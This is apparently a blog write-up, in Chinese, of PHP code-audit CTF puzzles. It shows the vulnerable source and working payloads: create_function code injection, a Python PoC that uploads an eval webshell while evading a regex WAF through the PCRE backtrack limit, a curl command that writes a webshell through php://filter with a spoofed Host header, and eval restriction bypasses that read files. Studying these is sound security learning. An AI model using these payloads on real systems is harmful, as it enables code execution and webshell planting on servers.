ph师傅的代码审计星球

之前看到ph师傅代码审计星球的广告,看了第一道题就觉得蛮有意思的,于是就入了一波2333,简单记录一下自己能做的或是找到wp学习的题目..顺手推广一下.. 链接:https://code-breaking.com/puzzle/1/

easy - function

源码

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

思路

首先看到动态调用的action做了正则限制,所以想办法绕正则,一开始想通过范围解释操作符来绕

1
比如SimpleXMLElement::xpath

但是找了很久,发现很多东西都用不起来,因为很难找到第一个参数为空的有用的东西.没办法再去找了找资料 然后发现可以通过命名空间来绕过前面的限制,比如var_dump表示全局命名空间 但是又有什么函数可以第一个参数为空呢? 想到hitcon出现过的create_function利用多线程暴破匿名函数 显然create_function是可以用的 弃用无所谓,后面发现还是可以用的 create_function可能存在的问题也很明显,就是代码注入,比如 从而可以任意代码执行,但是又碰到问题了

1
2
3
disable functions

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

想到flag肯定是文件形式,那么用scandir就好,在上一级目录发现flag file_get_contents获取flag,最终payload

1
http://51.158.75.42:8087/?action=create_function&arg=echo%20%22123%22;}var_dump(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*

拿到返回

1
2
3
4
Deprecated: Function create_function() is deprecated in /var/www/html/index.php on line 8

Warning: Unterminated comment starting line 1 in /var/www/html/index.php(8) : runtime-created function on line 1
string(38) "flag{03fdc0ee2fc464aac3c40ef0e20dcb5a}"

easy - pcrewaf

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function is_php($data){
return preg_match('/<?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
}

思路

一开始头铁,觉得能过这个正则.. 也确实可以,在php7以下可用

1
<script language="php">phpinfo();</script>

具体可以去看php的源码 php7之前的最高版本5.6.39 https://github.com/php/php-src/blob/PHP-5.6.39/Zend/zend_language_scanner.l 而一到php7就没这种解析了 而目标环境就是php7,到这里我就已经不会了... 后来看的wp https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html 说到底就是PHP的pcre.backtrack_limit限制利用,当回溯次数超过限制的时候,正则表达式会返回false,而不是0或1 那么就可以利用这个点来进行攻击,poc的话前面的链接也有

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

想要避免这个问题,在使用的时候用===来判断而不是==或直接判断

easy - phpmagic

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">

<title>Domain Detail</title>
<style>
pre {
width: 100%;
background-color: #f6f8fa;
border-radius: 3px;
font-size: 85%;
line-height: 1.45;
overflow: auto;
padding: 16px;
border: 1px solid #ced4da;
}
</style>
</head>
<body>

<div class="container">
<div class="row">
<div class="col">
<form method="post">
<div class="input-group mt-3">
<div class="input-group-prepend">
<span class="input-group-text" id="basic-addon1">dig -t A -q</span>
</div>
<input type="text" name="domain" class="form-control" placeholder="Your domain">
<div class="input-group-append">
<button class="btn btn-outline-secondary" type="submit">执行</button>
</div>
</div>
</form>
</div>

</div>

<div class="row">
<div class="col">
<pre class="mt-3"><?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);

$output = htmlspecialchars($output, ENT_HTML401 ENT_QUOTES);

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}

echo $output;
endif; ?></pre>
</div>
</div>

</div>

</body>
</html>

思路

简单审计一下,发现可以把dig的结果存到一个文件,那么就可以利用这一点来写shell,后面进行了一个简单的判断,然后用file_put_contents来写文件,简单测试一下 那么写文件就不成问题了,那么问题是怎么写shell呢? 尖括号都会被转义掉,这里本来考虑到了伪协议的问题,不过卡在了$_SERVER['SERVER_NAME']的绕过 后来看到 还是不太明白,看看英文版

'SERVER_NAME' The name of the server host under which the current script is executing. If the script is running on a virtual host, this will be the value defined for that virtual host. Note: Under Apache 2, you must set UseCanonicalName = On and ServerName. Otherwise, this value reflects the hostname supplied by the client, which can be spoofed. It is not safe to rely on this value in security-dependent contexts.

发现可以由hostname伪造,试试看改host 那么

1
file_put_contents($log_name, $output);

这个log_name就是可控的,从而可以通过伪协议写shell 用伪协议的时候将domain给base一下,然后控制log_name来解base,从而还原shell 注意base的时候pad到字符是4的倍数,我这里多试了几次

1
curl -X POST -d 'domain=PD9waHAKZXZhbCgkX0dFVFsnYmxhY3NoZWVwJ10pOwo/Pg&log=://filter/write=convert.base64-decode/resource=blacsheep3.php/.' -H "Host: php" 'http://51.158.75.42:8082/'

然后拿到shell

easy - phplimit

源码

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

分析

2018rctf的r-cursive的一部分 参考:https://xz.aliyun.com/t/2347 看到他们之前的payload 尝试getallheaders但是失败了,又看到

1
2
3
?cmd=print(readdir(opendir(getcwd()))); 可以列目录
?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件
?cmd=print(dirname(dirname(getcwd()))); print出/var/www

稍作修改,获得下面的payload http://51.158.75.42:8084/?code=print_r%28readfile%28array_rand%28array_flip%28scandir%28dirname%28chdir%28dirname%28getcwd%28%29%29%29%29%29%29%29%29%29%3B 因为设计到array_rand,所以只是可能拿到flag... 多刷几次就好,主要还是通过dirname获取目录来进行返回 后来看了一波wp.. 两种方法

get_defined_vars

所以直接用就好 注意把a(命令参数)放在前面,方便执行的时候先执行然后加注释,不然执行不了命令,比如scandir()就会爆内存 然后拿到flag

另一种绕过

code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); 用的array_reverse()next()绕过的